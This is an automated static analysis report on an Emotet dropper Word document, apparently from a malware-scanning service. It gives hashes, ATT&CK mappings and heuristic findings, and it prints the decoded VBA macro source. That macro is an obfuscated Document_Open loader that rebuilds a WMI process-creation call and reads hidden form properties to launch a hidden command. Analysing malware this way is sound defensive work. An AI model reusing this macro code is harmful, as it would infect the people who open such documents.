Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 079d6a8369827e38…

MALICIOUS

Office (OLE)

176.3 KB Created: 2020-07-27 17:04:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 67127197087a5c548d75a5901deb3d81 SHA-1: d62c85a183f6eb6a48b887cdae10b730b9589af9 SHA-256: 079d6a8369827e38fd0d37c24c651563a4567d6e6475c11373b42cc6215a7e1b
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The file contains VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. Heuristics indicate a hidden-property command stager and p-code auto-execution, suggesting obfuscation and direct execution of malicious code. ClamAV detection explicitly identifies it as an Emotet dropper, strongly indicating its family and purpose.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4074 bytes
SHA-256: ef99df7d952f46b44a93e8488eb02666bc2b74503ed0206b9f9a69c2847e8284
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "rihqueayjeuh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
fiachjeuzchefgaus.niefganraddaej
End Sub


Attribute VB_Name = "fiachjeuzchefgaus"
Attribute VB_Base = "0{DDC295AF-4290-488F-A984-1AF70FF278AD}{6BDDDC83-8373-4ED6-947B-826A92C0DBE9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function niefganraddaej()
giassiomhes = Chr(fiachjeuzchefgaus.Zoom + (120 / 8))
Dim IPuElKrfP As Long
IPuElKrfP = InStr("ySchaNX4ÏskAGW", "X4ÏskAGW")
choernaej = "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsw7773tGJ3^55GHDG%*&k7^*33333fsi7773tGJ3^55GHDG%*&k7^*33333fsnm7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsgm7773tGJ3^55GHDG%*&k7^*33333fst7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs" + giassiomhes + "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs:7773tGJ3^55GHDG%*&k7^*33333fsw7773tGJ3^55GHDG%*&k7^*33333fsin7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs37773tGJ3^55GHDG%*&k7^*33333fs27773tGJ3^55GHDG%*&k7^*33333fs_7773tGJ3^55GHDG%*&k7^*33333fs" + fiachjeuzchefgaus.doujmoujleuqu + "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsr7773tGJ3^55GHDG%*&k7^*33333fsoc7773tGJ3^55GHDG%*&k7^*33333fses7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fss7773tGJ3^55GHDG%*&k7^*33333fs"
Dim F0mYkFY As Long
F0mYkFY = InStr("aIiQAL", "QAL")
riyzoafyuuf = quaonkauzceistooth(choernaej)
Dim yJ0Í7 As Long
yJ0Í7 = InStr("UKLCRYjw6ÖDbKv5É", "jw6ÖDbKv5É")
Set nieyvuufdop = CreateObject(riyzoafyuuf)
Dim qZ0Ýu1àM As Long
qZ0Ýu1àM = InStr("AwlkNbSXjDwlOm3Êt", "XjDwlOm3Êt")
soepras = fiachjeuzchefgaus.raihkoorhoemjoud.ControlTipText
Dim w3åQyi1ÍHG As Long
w3åQyi1ÍHG = InStr("g0ÛK6ÐNJVHTZUWN", "VHTZUWN")
goeymuugyeiythuuw = riyzoafyuuf + giassiomhes + fiachjeuzchefgaus.vuuxfavkot.ControlTipText + soepras
TM0iX = 8
Do While TM0iX < 8 + 5
TM0iX = TM0iX + 9: DoEvents
Loop
chaerxoisquuas = goeymuugyeiythuuw + fiachjeuzchefgaus.doujmoujleuqu
Zqw3ÕvB = 6
Do While Zqw3ÕvB < 6 + 9
Zqw3ÕvB = Zqw3ÕvB + 5: DoEvents
Loop
Set jeuhwawfuuf = chausbujfosxeoh(chaerxoisquuas)
HrE4ÜrA5á = 8
Do While HrE4ÜrA5á < 8 + 6
HrE4ÜrA5á = HrE4ÜrA5á + 4: DoEvents
Loop
v = Array("PoS", nieyvuufdop. _
Create(paupxeoquceul, pauczeatroig, jeuhwawfuuf), "SOP")
Dim fft As Long
fft = InStr("XR1Ìqpffk", "qpffk")
End Function
Function chausbujfosxeoh(toutvaerxendeop)
Set chausbujfosxeoh = CreateObject(toutvaerxendeop)
Dim KlHCGw As Integer
KlHCGw = 2
Do While KlHCGw < 2 + 4
KlHCGw = KlHCGw + 9: DoEvents
Loop
chausbujfosxeoh.showwindow = (tuhmiarrix + fuathoochouqucheech) + (kienwethjiey + yidyiamzac)
Dim EQ6ÍjrK As Integer
EQ6ÍjrK = 6
Do While EQ6ÍjrK < 6 + 6
EQ6ÍjrK = EQ6ÍjrK + 8: DoEvents
Loop
End Function
Function quaonkauzceistooth(ceunsuatcuas)
xiewvoahxauy = ceunsuatcuas
Dim aCX3Ì1ÀlwSM As Integer
aCX3Ì1ÀlwSM = 7
Do While aCX3Ì1ÀlwSM < 7 + 3
aCX3Ì1ÀlwSM = aCX3Ì1ÀlwSM + 9: DoEvents
Loop
siexgetreon = Split _
(xiewvoahxauy, "7773tGJ3^55GHDG%*&k7^*33333fs")
Dim nV8FB As Integer
nV8FB = 4
Do While nV8FB < 4 + 2
nV8FB = nV8FB + 2: DoEvents
Loop
nieymoad = c + Join(siexgetreon, E)
Dim gAuvLy As Integer
gAuvLy = 9
Do While gAuvLy < 9 + 2
gAuvLy = gAuvLy + 4: DoEvents
Loop
quaonkauzceistooth = nieymoad
Dim qFZ As Long
qFZ = InStr("wfEl2ÔI3ÖhXYPe6ÛRt", "hXYPe6ÛRt")
End Function
Function paupxeoquceul()
q = fiachjeuzchefgaus.zescairyeet.Pages(333 / 333).ControlTipText
Dim VpAD As Long
VpAD = InStr("yGDcMofuCS4Çt", "ofuCS4Çt")
paupxeoquceul = quaonkauzceistooth(q)
Dim JJOQW7Ö As Long
JJOQW7Ö = InStr("PeX7ÌtQajQoX8ÃaWZR", "ajQoX8ÃaWZR")
End Function